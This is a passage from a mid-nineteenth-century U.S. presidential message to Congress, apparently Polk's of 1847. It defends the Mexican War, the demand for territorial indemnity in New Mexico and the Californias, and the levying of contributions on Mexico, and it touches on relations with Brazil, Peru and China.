instructions were given with a view to intermit hostilities until the\ntreaty thus ratified by Mexico could be transmitted to Washington and\nreceive the action of the Government of the United States. The commissioner\nwas also directed on reaching the Army to deliver to the general in command\nthe dispatch which he bore from the Secretary of State to the minister of\nforeign affairs of Mexico, and on receiving it the general was instructed\nby the Secretary of War to cause it to be transmitted to the commander of\nthe Mexican forces, with a quest that it might be communicated to his\nGovernment. The commissioner did not reach the headquarters of the Army\nuntil after another brilliant victory had crowned our arms at Cerro Gordo.\nThe dispatch which he bore from the Secretary of War to the general in\ncommand of the Army was received by that officer, then at Jalapa, on the\n7th of May, 1847, together with the dispatch from the Secretary of State to\nthe minister of foreign affairs of Mexico, having been transmitted to him\nfrom Vera Cruz. The commissioner arrived at the headquarters of the Army a\nfew days afterwards. His presence with the Army and his diplomatic\ncharacter were made known to the Mexican Government from Puebla on the 12th\nof June, 1847, by the transmission of the dispatch from the Secretary of\nState to the minister of foreign affairs of Mexico.Many weeks elapsed after its receipt, and no overtures were made nor was\nany desire expressed by the Mexican Government to enter into negotiations\nfor peace.Our Army pursued its march upon the capital, and as it approached it was\nmet by formidable resistance. Our forces first encountered the enemy, and\nachieved signal victories in the severely contested battles of Contreras\nand Churubusco. It was not until after these actions had resulted in\ndecisive victories and the capital of the enemy was within our power that\nthe Mexican Government manifested any disposition to enter into\nnegotiations for peace, and even then, as events have proved, there is too\nmuch reason to believe they were insincere, and that in agreeing to go\nthrough the forms of negotiation the object was to gain time to strengthen\nthe defenses of their capital and to prepare for fresh resistance.The general in command of the Army deemed it expedient to suspend\nhostilities temporarily by entering into an armistice with a view to the\nopening of negotiations. Commissioners were appointed on the part of Mexico\nto meet the commissioner on the part of the United States. The result of\nthe conferences which took place between these functionaries of the two\nGovernments was a failure to conclude a treaty of peace. The commissioner\nof the United States took with him the project of a treaty already\nprepared, by the terms of which the indemnity required by the United States\nwas a cession of territory.It is well known that the only indemnity which it is in the power of Mexico\nto make in satisfaction of the just and long-deferred claims of our\ncitizens against her and the only means by which she can reimburse the\nUnited States for the expenses of the war is a cession to the United States\nof a portion of her territory. Mexico has no money to pay, and no other\nmeans of making the required indemnity. If we refuse this, we can obtain\nnothing else. To reject indemnity by refusing to accept a cession of\nterritory would be to abandon all our just demands, and to wage the war,\nbearing all its expenses, without a purpose or definite object.A state of war abrogates treaties previously existing between the\nbelligerents and a treaty of peace puts an end to all claims for indemnity\nfor tortious acts committed under the authority of one government against\nthe citizens or subjects of another unless they are provided for in its\nstipulations. A treaty of peace which would terminate the existing war\nwithout providing for indemnity would enable Mexico, the acknowledged\ndebtor and herself the aggressor in the war, to relieve herself from her\njust liabilities. By such a treaty our citizens who hold just demands\nagainst her would have no remedy either against Mexico or their own\nGovernment. Our duty to these citizens must forever prevent such a peace,\nand no treaty which does not provide ample means of discharging these\ndemands can receive my sanction.A treaty of peace should settle all existing differences between the two\ncountries. If an adequate cession of territory should be made by such a\ntreaty, the United States should release Mexico from all her liabilities\nand assume their payment to our own citizens. If instead of this the United\nStates were to consent to a treaty by which Mexico should again engage to\npay the heavy amount of indebtedness which a just indemnity to our\nGovernment and our citizens would impose on her, it is notorious that she\ndoes not possess the means to meet such an undertaking. From such a treaty\nno result could be anticipated but the same irritating disappointments\nwhich have heretofore attended the violations of similar treaty\nstipulations on the part of Mexico. Such a treaty would be but a temporary\ncessation of hostilities, without the restoration of the friendship and\ngood understanding which should characterize the future intercourse between\nthe two countries.That Congress contemplated the acquisition of territorial indemnity when\nthat body made provision for the prosecution of the war is obvious.\nCongress could not have meant when, in May, 1846, they appropriated\n$10,000,000 and authorized the President to employ the militia and naval\nand military forces of the United States and to accept the services of\n50,000 volunteers to enable him to prosecute the war, and when, at their\nlast session, and after our Army had invaded Mexico, they made additional\nappropriations and authorized the raising of additional troops for the same\npurpose, that no indemnity was to be obtained from Mexico at the conclusion\nof the war; and yet it was certain that if no Mexican territory was\nacquired no indemnity could be obtained. It is further manifest that\nCongress contemplated territorial indemnity from the fact that at their\nlast session an act was passed, upon the Executive recommendation,\nappropriating $3,000,000 with that express object. This appropriation was\nmade \"to enable the President to conclude a treaty of peace, limits, and\nboundaries with the Republic of Mexico, to be used by him in the event that\nsaid treaty, when signed by the authorized agents of the two Governments\nand duly ratified by Mexico, shall call for the expenditure of the same or\nany part thereof.\" The object of asking this appropriation was distinctly\nstated in the several messages on the subject which I communicated to\nCongress. Similar appropriations made in 1803 and 1806, which were referred\nto, were intended to be applied in part consideration for the cession of\nLouisiana and the Floridas. In like manner it was anticipated that in\nsettling the terms of a treaty of \"limits and boundaries\" with Mexico a\ncession of territory estimated to be of greater value than the amount of\nour demands against her might be obtained, and that the prompt payment of\nthis sum in part consideration for the territory ceded, on the conclusion\nof a treaty and its ratification on her part, might be an inducement with\nher to make such a cession of territory as would be satisfactory to the\nUnited States; and although the failure to conclude such a treaty has\nrendered it unnecessary to use any part of the $3,000,000 appropriated by\nthat act, and the entire sum remains in the Treasury, it is still\napplicable to that object should the contingency occur making such\napplication proper.The doctrine of no territory is the doctrine of no indemnity, and if\nsanctioned would be a public acknowledgment that our country was wrong and\nthat the war declared by Congress with extraordinary unanimity was unjust\nand should be abandoned--an admission unfounded in fact and degrading to\nthe national character.The terms of the treaty proposed by the United States were not only just to\nMexico, but, considering the character and amount of our claims, the\nunjustifiable and unprovoked commencement of hostilities by her, the\nexpenses of the war to which we have been subjected, and the success which\nhad attended our arms, were deemed to be of a most liberal character.The commissioner of the United States was authorized to agree to the\nestablishment of the Rio Grande as the boundary from its entrance into the\nGulf to its intersection with the southern boundary of New Mexico, in north\nlatitude about 32 degree, and to obtain a cession to the United States of\nthe Provinces of New Mexico and the Californias and the privilege of the\nright of way across the Isthmus of Tehuantepec. The boundary of the Rio\nGrande and the cession to the United States of New Mexico and Upper\nCalifornia constituted an ultimatum which our commissioner was under no\ncircumstances to yield.That it might be manifest, not only to Mexico, but to all other nations,\nthat the United States were not disposed to take advantage of a feeble\npower by insisting upon wrestling from her all the other Provinces,\nincluding many of her principal towns and cities, which we had conquered\nand held in our military occupation but were willing to conclude a treaty\nin a spirit of liberality, our commissioner was authorized to stipulate for\nthe restoration to Mexico of all our other conquests.As the territory to be acquired by the boundary proposed might be estimated\nto be of greater value than a fair equivalent for our just demands, our\ncommissioner was authorized to stipulate for the payment of such additional\npecuniary consideration as was deemed reasonable.The terms of a treaty proposed by the Mexican commissioners were wholly\ninadmissible. They negotiated as if Mexico were the victorious, and not the\nvanquished, party. They must have known that their ultimatum could never be\naccepted. It required the United States to dismember Texas by surrendering\nto Mexico that part of the territory of that State lying between the Nueces\nand the Rio Grande, included within her limits by her laws when she was an\nindependent republic, and when she was annexed to the United States and\nadmitted by Congress as one of the States of our Union. It contained no\nprovision for the payment by Mexico of the just claims of our citizens. It\nrequired indemnity to Mexican citizens for injuries they may have sustained\nby our troops in the prosecution of the war. It demanded the right for\nMexico to levy and collect the Mexican tariff of duties on goods imported\ninto her ports while in our military occupation during the war, and the\nowners of which had paid to officers of the United States the military\ncontributions which had been levied upon them; and it offered to cede to\nthe United States, for a pecuniary consideration, that part of Upper\nCalifornia lying north of latitude 37 . Such were the unreasonable\nterms proposed by the Mexican commissioners.The cession to the United States by Mexico of the Provinces of New Mexico\nand the Californias, as proposed by the commissioner of the United States,\nit was believed would be more in accordance with the convenience and\ninterests of both nations than any other cession of territory which it was\nprobable Mexico could be induced to make.It is manifest to all who have observed the actual condition of the Mexican\nGovernment for some years past and at present that if these Provinces\nshould be retained by her she could not long continue to hold and govern\nthem. Mexico is too feeble a power to govern these Provinces, lying as they\ndo at a distance of more than 1,000 miles from her capital, and if\nattempted to be retained by her they would constitute but for a short time\neven nominally a part of her dominions. This would be especially the case\nwith Upper California.The sagacity of powerful European nations has long since directed their\nattention to the commercial importance of that Province, and there can be\nlittle doubt that the moment the United States shall relinquish their\npresent occupation of it and their claim to it as indemnity an effort would\nbe made by some foreign power to possess it, either by conquest or by\npurchase. If no foreign government should acquire it in either of these\nmodes, an independent revolutionary government would probably be\nestablished by the inhabitants and such foreigners as may remain in or\nremove to the country as soon as it shall be known that the United States\nhave abandoned it. Such a government would be too feeble long to maintain\nits separate independent existence, and would finally become annexed to or\nbe a dependent colony of some more powerful state. Should any foreign\ngovernment attempt to possess it as a colony, or otherwise to incorporate\nit with itself, the principle avowed by President Monroe in 1824, and\nreaffirmed in my first annual message, that no foreign power shall with our\nconsent be permitted to plant or establish any new colony or dominion on\nany part of the North American continent must be maintained. In maintaining\nthis principle and in resisting its invasion by any foreign power we might\nbe involved in other wars more expensive and more difficult than that in\nwhich we are now engaged. The Provinces of New Mexico and the Californias\nare contiguous to the territories of the United States, and if brought\nunder the government of our laws their resources--mineral, agricultural,\nmanufacturing, and commercial--would soon be developed.Upper California is bounded on the north by our Oregon possessions, and if\nheld by the United States would soon be settled by a hardy, enterprising,\nand intelligent portion of our population. The Bay of San Francisco and\nother harbors along the Californian coast would afford shelter for our\nNavy, for our numerous whale ships, and other merchant vessels employed in\nthe Pacific Ocean, and would in a short period become the marts of an\nextensive and profitable commerce with China and other countries of the\nEast.These advantages, in which the whole commercial world would participate,\nwould at once be secured to the United States by the cession of this\nterritory; while it is certain that as long as it remains a part of the\nMexican dominions they can be enjoyed neither by Mexico herself nor by any\nother nation.New Mexico is a frontier Province, and has never been of any considerable\nvalue to Mexico. From its locality it is naturally connected with our\nWestern settlements. The territorial limits of the State of Texas, too, as\ndefined by her laws before her admission into our Union, embrace all that\nportion of New Mexico lying east of the Rio Grande, while Mexico still\nclaims to hold this territory as a part of her dominions. The adjustment of\nthis question of boundary is important.There is another consideration which induced the belief that the Mexican\nGovernment might even desire to place this Province under the protection of\nthe Government of the United States. Numerous bands of fierce and warlike\nsavages wander over it and upon its borders. Mexico has been and must\ncontinue to be too feeble to restrain them from committing depredations,\nrobberies, and murders, not only upon the inhabitants of New Mexico itself,\nbut upon those of the other northern States of Mexico. It would be a\nblessing to all these northern States to have their citizens protected\nagainst them by the power of the United States. At this moment many\nMexicans, principally females and children, are in captivity among them. If\nNew Mexico were held and governed by the United States, we could\neffectually prevent these tribes from committing such outrages, and compel\nthem to release these captives and restore them to their families and\nfriends.In proposing to acquire New Mexico and the Californias, it was known that\nbut an inconsiderable portion of the Mexican people would be transferred\nwith them, the country embraced within these Provinces being chiefly an\nuninhabited region.These were the leading considerations which induced me to authorize the\nterms of peace which were proposed to Mexico. They were rejected, and,\nnegotiations being at an end, hostilities were renewed. An assault was made\nby our gallant Army upon the strongly fortified places near the gates of\nthe City of Mexico and upon the city itself, and after several days of\nsevere conflict the Mexican forces, vastly superior in number to our own,\nwere driven from the city, and it was occupied by our troops.Immediately after information was received of the unfavorable result of the\nnegotiations, believing that his continued presence with the Army could be\nproductive of no good, I determined to recall our commissioner. A dispatch\nto this effect was transmitted to him on the 6th of October last. The\nMexican Government will be informed of his recall, and that in the existing\nstate of things I shall not deem it proper to make any further overtures of\npeace, but shall be at all times ready to receive and consider any\nproposals which may be made by Mexico.Since the liberal proposition of the United States was authorized to be\nmade, in April last, large expenditures have been incurred and the precious\nblood of many of our patriotic fellow-citizens has been shed in the\nprosecution of the war. This consideration and the obstinate perseverance\nof Mexico in protracting the war must influence the terms of peace which it\nmay be deemed proper hereafter to accept. Our arms having been everywhere\nvictorious, having subjected to our military occupation a large portion of\nthe enemy's country, including his capital, and negotiations for peace\nhaving failed, the important questions arise, in what manner the war ought\nto be prosecuted and what should be our future policy. I can not doubt that\nwe should secure and render available the conquests which we have already\nmade, and that with this view we should hold and occupy by our naval and\nmilitary forces all the ports, towns, cities, and Provinces now in our\noccupation or which may hereafter fall into our possession; that we should\npress forward our military operations and levy such military contributions\non the enemy as may, as far as practicable, defray the future expenses of\nthe war.Had the Government of Mexico acceded to the equitable and liberal terms\nproposed, that mode of adjustment would have been preferred, Mexico having\ndeclined to do this and failed to offer any other terms which could be\naccepted by the United States, the national honor, no less than the public\ninterests, requires that the war should be prosecuted with increased energy\nand power until a just and satisfactory peace can be obtained. In the\nmeantime, as Mexico refuses all indemnity, we should adopt measures to\nindemnify ourselves by appropriating permanently a portion of her\nterritory. Early after the commencement of the war New Mexico and the\nCalifornias were taken possession of by our forces. Our military and naval\ncommanders were ordered to conquer and hold them, subject to be disposed of\nby a treaty of peace.These Provinces are now in our undisputed occupation, and have been so for\nmany months, all resistance on the part of Mexico having ceased within\ntheir limits. I am satisfied that they should never be surrendered to\nMexico. Should Congress concur with me in this opinion, and that they\nshould be retained by the United States as indemnity, I can perceive no\ngood reason why the civil jurisdiction and laws of the United States should\nnot at once be extended over them. To wait for a treaty of peace such as we\nare willing to make, by which our relations toward them would not be\nchanged, can not be good policy; whilst our own interest and that of the\npeople inhabiting them require that a stable, responsible, and free\ngovernment under our authority should as soon as possible be established\nover them. Should Congress, therefore, determine to hold these Provinces\npermanently, and that they shall hereafter be considered as constituent\nparts of our country, the early establishment of Territorial governments\nover them will be important for the more perfect protection of persons and\nproperty; and I recommend that such Territorial governments be established.\nIt will promote peace and tranquillity among the inhabitants, by allaying\nall apprehension that they may still entertain of being again subjected to\nthe jurisdiction of Mexico. I invite the early and favorable consideration\nof Congress to this important subject.Besides New Mexico and the Californias, there are other Mexican Provinces\nwhich have been reduced to our possession by conquest. These other Mexican\nProvinces are now governed by our military and naval commanders under the\ngeneral authority which is conferred upon a conqueror by the laws of war.\nThey should continue to be held, as a means of coercing Mexico to accede to\njust terms of peace. Civil as well as military officers are required to\nconduct such a government. Adequate compensation, to be drawn from\ncontributions levied on the enemy, should be fixed by law for such officers\nas may be thus employed. What further provision may become necessary and\nwhat final disposition it may be proper to make of them must depend on the\nfuture progress of the war and the course which Mexico may think proper\nhereafter to pursue.With the views I entertain I can not favor the policy which has been\nsuggested, either to withdraw our Army altogether or to retire to a\ndesignated line and simply hold and defend it. To withdraw our Army\naltogether from the conquests they have made by deeds of unparalleled\nbravery, and at the expense of so much blood and treasure, in a just war on\nour part, and one which, by the act of the enemy, we could not honorably\nhave avoided, would be to degrade the nation in its own estimation and in\nthat of the world. To retire to a line and simply hold and defend it would\nnot terminate the war. On the contrary, it would encourage Mexico to\npersevere and tend to protract it indefinitely. It is not to be expected\nthat Mexico, after refusing to establish such a line as a permanent\nboundary when our victorious Army are in possession of her capital and in\nthe heart of her country, would permit us to hold it without resistance.\nThat she would continue the war, and in the most harassing and annoying\nforms, there can be no doubt. A border warfare of the most savage\ncharacter, extending over a long line, would be unceasingly waged. It would\nrequire a large army to be kept constantly in the field, stationed at posts\nand garrisons along such a line, to protect and defend it. The enemy,\nrelieved from the pressure of our arms on his coasts and in the populous\nparts of the interior, would direct his attention to this line, and,\nselecting an isolated post for attack, would concentrate his forces upon\nit. This would be a condition of affairs which the Mexicans, pursuing their\nfavorite system of guerrilla warfare, would probably prefer to any other.\nWere we to assume a defensive attitude on such a line, all the advantages\nof such a state of war would be on the side of the enemy. We could levy no\ncontributions upon him, or in any other way make him feel the pressure of\nthe war, but must remain inactive and await his approach, being in constant\nuncertainty at what point on the line or at what time he might make an\nassault. He may assemble and organize an overwhelming force in the interior\non his own side of the line, and, concealing his purpose, make a sudden\nassault upon some one of our posts so distant from any other as to prevent\nthe possibility of timely succor or reenforcements, and in this way our\ngallant Army would be exposed to the danger of being cut off in detail; or\nif by their unequaled bravery and prowess everywhere exhibited during this\nwar they should repulse the enemy, their numbers stationed at any one post\nmay be too small to pursue him. If the enemy be repulsed in one attack, he\nwould have nothing to do but to retreat to his own side of the line, and,\nbeing in no fear of a pursuing army, may reenforce himself at leisure for\nanother attack on the same or some other post. He may, too, cross the line\nbetween our posts, make rapid incursions into the country which we hold,\nmurder the inhabitants, commit depredations on them, and then retreat to\nthe interior before a sufficient force can be concentrated to pursue him.\nSuch would probably be the harassing character of a mere defensive war on\nour part. If our forces when attacked, or threatened with attack, be\npermitted to cross the line, drive back the enemy, and conquer him, this\nwould be again to invade the enemy's country after having lost all the\nadvantages of the conquests we have already made by having voluntarily\nabandoned them. To hold such a line successfully and in security it is far\nfrom being certain that it would not require as large an army as would be\nnecessary to hold all the conquests we have already made and to continue\nthe prosecution of the war in the heart of the enemy's country. It is also\nfar from being certain that the expenses of the war would be diminished by\nsuch a policy. I am persuaded that the best means of vindicating the\nnational honor and interest and of bringing the war to an honorable close\nwill be to prosecute it with increased energy and power in the vital parts\nof the enemy's country.In my annual message to Congress of December last I declared that--The war has not been waged with a view to conquest, but, having been\ncommenced by Mexico, it has been carried into the enemy's country and will\nbe vigorously prosecuted there with a view to obtain an honorable peace,\nand thereby secure ample indemnity for the expenses of the war, as well as\nto our much-injured citizens, who hold large pecuniary demands against\nMexico.Such, in my judgment, continues to be our true policy; indeed, the only\npolicy which will probably secure a permanent peace.It has never been contemplated by me, as an object of the war, to make a\npermanent conquest of the Republic of Mexico or to annihilate her separate\nexistence as an independent nation. On the contrary, it has ever been my\ndesire that she should maintain her nationality, and under a good\ngovernment adapted to her condition be a free, independent, and prosperous\nRepublic. The United States were the first among the nations to recognize\nher independence, and have always desired to be on terms of amity and good\nneighborhood with her. This she would not suffer. By her own conduct we\nhave been compelled to engage in the present war. In its prosecution we\nseek not her overthrow as a nation, but in vindicating our national honor\nwe seek to obtain redress for the wrongs she has done us and indemnity for\nour just demands against her. We demand an honorable peace, and that peace\nmust bring with it indemnity for the past and security for the future.\nHitherto Mexico has refused all accommodation by which such a peace could\nbe obtained.Whilst our armies have advanced from victory to victory from the\ncommencement of the war, it has always been with the olive branch of peace\nin their hands, and it has been in the power of Mexico at every step to\narrest hostilities by accepting it.One great obstacle to the attainment of peace has undoubtedly arisen from\nthe fact that Mexico has been so long held in subjection by one faction or\nmilitary usurper after another, and such has been the condition of\ninsecurity in which their successive governments have been placed that each\nhas been deterred from making peace lest for this very cause a rival\nfaction might expel it from power. Such was the fate of President Herrera's\nadministration in 1845 for being disposed even to listen to the overtures\nof the United States to prevent the war, as is fully confirmed by an\nofficial correspondence which took place in the month of August last\nbetween him and his Government, a copy of which is herewith communicated.\n\"For this cause alone the revolution which displaced him from power was set\non foot\" by General Paredes. Such may be the condition of insecurity of the\npresent Government.There can be no doubt that the peaceable and well-disposed inhabitants of\nMexico are convinced that it is the true interest of their country to\nconclude an honorable peace with the United States, but the apprehension of\nbecoming the victims of some military faction or usurper may have prevented\nthem from manifesting their feelings by any public act. The removal of any\nsuch apprehension would probably cause them to speak their sentiments\nfreely and to adopt the measures necessary for the restoration of peace.\nWith a people distracted and divided by contending factions and a\nGovernment subject to constant changes by successive revolutions, the\ncontinued successes of our arms may fail to secure a satisfactory peace. In\nsuch event it may become proper for our commanding generals in the field to\ngive encouragement and assurances of protection to the friends of peace in\nMexico in the establishment and maintenance of a free republican government\nof their own choice, able and willing to conclude a peace which would be\njust to them and secure to us the indemnity we demand. This may become the\nonly mode of obtaining such a peace. Should such be the result, the war\nwhich Mexico has forced upon us would thus be converted into an enduring\nblessing to herself. After finding her torn and distracted by factions, and\nruled by military usurpers, we should then leave her with a republican\ngovernment in the enjoyment of real independence and domestic peace and\nprosperity, performing all her relative duties in the great family of\nnations and promoting her own happiness by wise laws and their faithful\nexecution.If, after affording this encouragement and protection, and after all the\npersevering and sincere efforts we have made from the moment Mexico\ncommenced the war, and prior to that time, to adjust our differences with\nher, we shall ultimately fail, then we shall have exhausted all honorable\nmeans in pursuit of peace, and must continue to occupy her country with our\ntroops, taking the full measure of indemnity into our own hands, and must\nenforce the terms which our honor demands.To act otherwise in the existing state of things in Mexico, and to withdraw\nour Army without a peace, would not only leave all the wrongs of which we\ncomplain unredressed, but would be the signal for new and fierce civil\ndissensions and new revolutions--all alike hostile to peaceful relations\nwith the United States. Besides, there is danger, if our troops were\nwithdrawn before a peace was conducted, that the Mexican people, wearied\nwith successive revolutions and deprived of protection for their persons\nand property, might at length be inclined to yield to foreign influences\nand to cast themselves into the arms of some European monarch for\nprotection from the anarchy and suffering which would ensue. This, for our\nown safety and in pursuance of our established policy, we should be\ncompelled to resist. We could never consent that Mexico should be thus\nconverted into a monarchy governed by a foreign prince.Mexico is our near neighbor, and her boundaries are coterminous with our\nown through the whole extent across the North American continent, from\nocean to ocean. Both politically and commercially we have the deepest\ninterest in her regeneration and prosperity. Indeed, it is impossible that,\nwith any just regard to our own safety, we can ever become indifferent to\nher fate.It may be that the Mexican Government and people have misconstrued or\nmisunderstood our forbearance and our objects in desiring to conclude an\namicable adjustment of the existing differences between the two countries.\nThey may have supposed that we would submit to terms degrading to the\nnation, or they may have drawn false inferences from the supposed division\nof opinion in the United States on the subject of the war, and may have\ncalculated to gain much by protracting it, and, indeed, that we might\nultimately abandon it altogether without insisting on any indemnity,\nterritorial or otherwise. Whatever may be the false impressions under which\nthey have acted, the adoption and prosecution of the energetic policy\nproposed must soon undeceive them.In the future prosecution of the war the enemy must be made to feel its\npressure more than they have heretofore done. At its commencement it was\ndeemed proper to conduct it in a spirit of forbearance and liberality. With\nthis end in view, early measures were adopted to conciliate, as far as a\nstate of war would permit, the mass of the Mexican population; to convince\nthem that the war was waged, not against the peaceful inhabitants of\nMexico, but against their faithless Government, which had commenced\nhostilities; to remove from their minds the false impressions which their\ndesigning and interested rulers had artfully attempted to make, that the\nwar on our part was one of conquest, that it was a war against their\nreligion and their churches, which were to be desecrated and overthrown,\nand that their rights of person and private property would be violated. To\nremove these false impressions, our commanders in the field were directed\nscrupulously to respect their religion, their churches, and their church\nproperty, which were in no manner to be violated; they were directed also\nto respect the rights of persons and property of all who should not take up\narms against us.Assurances to this effect were given to the Mexican people by Major General\nTaylor in a proclamation issued in pursuance of instructions from the\nSecretary of War in the month of June, 1846, and again by Major-General\nScott, who acted upon his own convictions of the propriety of issuing it,\nin a proclamation of the 11th of May, 1847. In this spirit of liberality\nand conciliation, and with a view to prevent the body of the Mexican\npopulation from taking up arms against us, was the war conducted on our\npart. Provisions and other supplies furnished to our Army by Mexican\ncitizens were paid for at fair and liberal prices, agreed upon by the\nparties. After the lapse of a few months it became apparent that these\nassurances and this mild treatment had failed to produce the desired effect\nupon the Mexican population. While the war had been conducted on our part\naccording to the most humane and liberal principles observed by civilized\nnations, it was waged in a far different spirit on the part of Mexico. Not\nappreciating our forbearance, the Mexican people generally became hostile\nto the United States, and availed themselves of every opportunity to commit\nthe most savage excesses upon our troops. Large numbers of the population\ntook up arms, and, engaging in guerrilla warfare, robbed and murdered in\nthe most cruel manner individual soldiers or small parties whom accident or\nother causes had separated from the main body of our Army; bands of\nguerrilleros and robbers infested the roads, harassed our trains, and\nwhenever it was in their power cut off our supplies.The Mexicans having thus shown themselves to be wholly incapable of\nappreciating our forbearance and liberality, it was deemed proper to change\nthe manner of conducting the war, by making them feel its pressure\naccording to the usages observed under similar circumstances by all other\ncivilized nations.Accordingly, as early as the 22d of September, 1846, instructions were\ngiven by the Secretary of War to Major-General Taylor to \"draw supplies\"\nfor our Army \"from the enemy without paying for them, and to require\ncontributions for its support, if in that way he was satisfied he could get\nabundant supplies for his forces.\" In directing the execution of these\ninstructions much was necessarily left to the discretion of the commanding\nofficer, who was best acquainted with the circumstances by which he was\nsurrounded, the wants of the Army, and the practicability of enforcing the\nmeasure. General Taylor, on the 26th of October, 1846, replied from\nMonterey that \"it would have been impossible hitherto, and is so now, to\nsustain the Army to any extent by forced contributions of money or\nsupplies.\" For the reasons assigned by him, he did not adopt the policy of\nhis instructions, but declared his readiness to do so \"should the Army in\nits future operations reach a portion of the country which may be made to\nsupply the troops with advantage.\" He continued to pay for the articles of\nsupply which were drawn from the enemy's country.Similar instructions were issued to Major-General Scott on the 3d of April,\n1847, who replied from Jalapa on the 20th of May, 1847, that if it be\nexpected \"that the Army is to support itself by forced contributions levied\nupon the country we may ruin and exasperate the inhabitants and starve\nourselves.\" The same discretion was given to him that had been to General\nTaylor in this respect. General Scott, for the reasons assigned by him,\nalso continued to pay for the articles of supply for the Army which were\ndrawn from the enemy.After the Army had reached the heart of the most wealthy portion of Mexico\nit was supposed that the obstacles which had before that time prevented it\nwould not be such as to render impracticable the levy of forced\ncontributions for its support, and on the 1st of September and again on the\n6th of October, 1847, the order was repeated in dispatches addressed by the\nSecretary of War to General Scott, and his attention was again called to\nthe importance of making the enemy bear the burdens of the war by requiring\nthem to furnish the means of supporting our Army, and he was directed to\nadopt this policy unless by doing so there was danger of depriving the Army\nof the necessary supplies. Copies of these dispatches were forwarded to\nGeneral Taylor for his government.On the 31st of March last I caused an order to be issued to our military\nand naval commanders to levy and collect a military contribution upon all\nvessels and merchandise which might enter any of the ports of Mexico in our\nmilitary occupation, and to apply such contributions toward defraying the\nexpenses of the war. By virtue of the right of conquest and the laws of\nwar, the conqueror, consulting his own safety or convenience, may either\nexclude foreign commerce altogether from all such ports or permit it upon\nsuch terms and conditions as he may prescribe. Before the principal ports\nof Mexico were blockaded by our Navy the revenue derived from import duties\nunder the laws of Mexico was paid into the Mexican treasury. After these\nports had fallen into our military possession the blockade was raised and\ncommerce with them permitted upon prescribed terms and conditions. They\nwere opened to the trade of all nations upon the payment of duties more\nmoderate in their amount than those which had been previously levied by\nMexico, and the revenue, which was formerly paid into the Mexican treasury,\nwas directed to be collected by our military and naval officers and applied\nto the use of our Army and Navy. Care was taken that the officers,\nsoldiers, and sailors of our Army and Navy should be exempted from the\noperations of the order, and, as the merchandise imported upon which the\norder operated must be consumed by Mexican citizens, the contributions\nexacted were in effect the seizure of the public revenues of Mexico and the\napplication of them to our own use. In directing this measure the object\nwas to compel the enemy to contribute as far as practicable toward the\nexpenses of the war.For the amount of contributions which have been levied in this form I refer\nyou to the accompanying reports of the Secretary of War and of the\nSecretary of the Navy, by which it appears that a sum exceeding half a\nmillion of dollars has been collected. This amount would undoubtedly have\nbeen much larger but for the difficulty of keeping open communications\nbetween the coast and the interior, so as to enable the owners of the\nmerchandise imported to transport and vend it to the inhabitants of the\ncountry. It is confidently expected that this difficulty will to a great\nextent be soon removed by our increased forces which have been sent to the\nfield.Measures have recently been adopted by which the internal as well as the\nexternal revenues of Mexico in all places in our military occupation will\nbe seized and appropriated to the use of our Army and Navy.The policy of levying upon the enemy contributions in every form\nconsistently with the laws of nations, which it may be practicable for our\nmilitary commanders to adopt, should, in my judgment, be rigidly enforced,\nand orders to this effect have accordingly been given. By such a policy, at\nthe same time that our own Treasury will be relieved from a heavy drain,\nthe Mexican people will be made to feel the burdens of the war, and,\nconsulting their own interests, may be induced the more readily to require\ntheir rulers to accede to a just peace.After the adjournment of the last session of Congress events transpired in\nthe prosecution of the war which in my judgment required a greater number\nof troops in the field than had been anticipated. The strength of the Army\nwas accordingly increased by \"accepting\" the services of all the volunteer\nforces authorized by the act of the 13th of May, 1846, without putting a\nconstruction on that act the correctness of which was seriously questioned.\nThe volunteer forces now in the field, with those which had been \"accepted\"\nto \"serve for twelve months\" and were discharged at the end of their term\nof service, exhaust the 50,000 men authorized by that act. Had it been\nclear that a proper construction of the act warranted it, the services of\nan additional number would have been called for and accepted; but doubts\nexisting upon this point, the power was not exercised. It is deemed\nimportant that Congress should at an early period of their session confer\nthe authority to raise an additional regular force to serve during the war\nwith Mexico and to be discharged upon the conclusion and ratification of a\ntreaty of peace. I invite the attention of Congress to the views presented\nby the Secretary of War in his report upon this subject.I recommend also that authority be given by law to call for and accept the\nservices of an additional number of volunteers, to be exercised at such\ntime and to such extent as the emergencies of the service may require.In prosecuting the war with Mexico, whilst the utmost care has been taken\nto avoid every just cause of complaint on the part of neutral nations, and\nnone has been given, liberal privileges have been granted to their commerce\nin the ports of the enemy in our military occupation. The difficulty with\nthe Brazilian Government, which at one time threatened to interrupt the\nfriendly relations between the two countries, will, I trust, be speedily\nadjusted. I have received information that an envoy extraordinary and\nminister plenipotentiary to the United States will shortly be appointed by\nHis Imperial Majesty, and it is hoped that he will come instructed and\nprepared to adjust all remaining differences between the two Governments in\na manner acceptable and honorable to both. In the meantime, I have every\nreason to believe that nothing will occur to interrupt our amicable\nrelations with Brazil.It has been my constant effort to maintain and cultivate the most intimate\nrelations of friendship with all the independent powers of South America,\nand this policy has been attended with the happiest results. It is true\nthat the settlement and payment of many just claims of American citizens\nagainst these nations have been long delayed. The peculiar position in\nwhich they have been placed and the desire on the part of my predecessors\nas well as myself to grant them the utmost indulgence have hitherto\nprevented these claims from being urged in a manner demanded by strict\njustice. The time has arrived when they ought to be finally adjusted and\nliquidated, and efforts are now making for that purpose.It is proper to inform you that the Government of Peru has in good faith\npaid the first two installments of the indemnity of $30,000 each, and the\ngreater portion of the interest due thereon, in execution of the convention\nbetween that Government and the United States the ratifications of which\nwere exchanged at Lima on the 31st of October, 1846. The Attorney-General\nof the United States early in August last completed the adjudication of the\nclaims under this convention, and made his report thereon in pursuance of\nthe act of the 8th of August, 1846. The sums to which the claimants are\nrespectively entitled will be paid on demand at the Treasury.I invite the early attention of Congress to the present condition of our\ncitizens in China. Under our treaty with that power American citizens are\nwithdrawn from the jurisdiction, whether civil or criminal, of the Chinese\nGovernment and placed under that of our public functionaries in that\ncountry. By these alone can our citizens be tried and punished for the\ncommission of any crime; by these alone can questions be decided between\nthem involving the rights of persons and property, and by these alone can\ncontracts be enforced into which they may have entered with the citizens or\nsubjects of foreign powers. The merchant vessels of the United States lying\nin the waters of the five ports of China open to foreign commerce are under\nthe exclusive jurisdiction of officers of their own Government. Until\nCongress shall establish competent tribunals to try and punish crimes and\nto exercise jurisdiction in civil cases in China, American citizens there\nare subject to no law whatever. Crimes may be committed with impunity and\ndebts may be contracted without any means to enforce their payment.\nInconveniences have already resulted from the omission of Congress to\nlegislate upon the subject, and still greater are apprehended. The British\nauthorities in China have already complained that this Government has not\nprovided for the punishment of crimes or the enforcement of contracts\nagainst American citizens in that country, whilst their Government has\nestablished tribunals by which an American citizen can recover debts due\nfrom British subjects. Accustomed, as the Chinese are, to summary 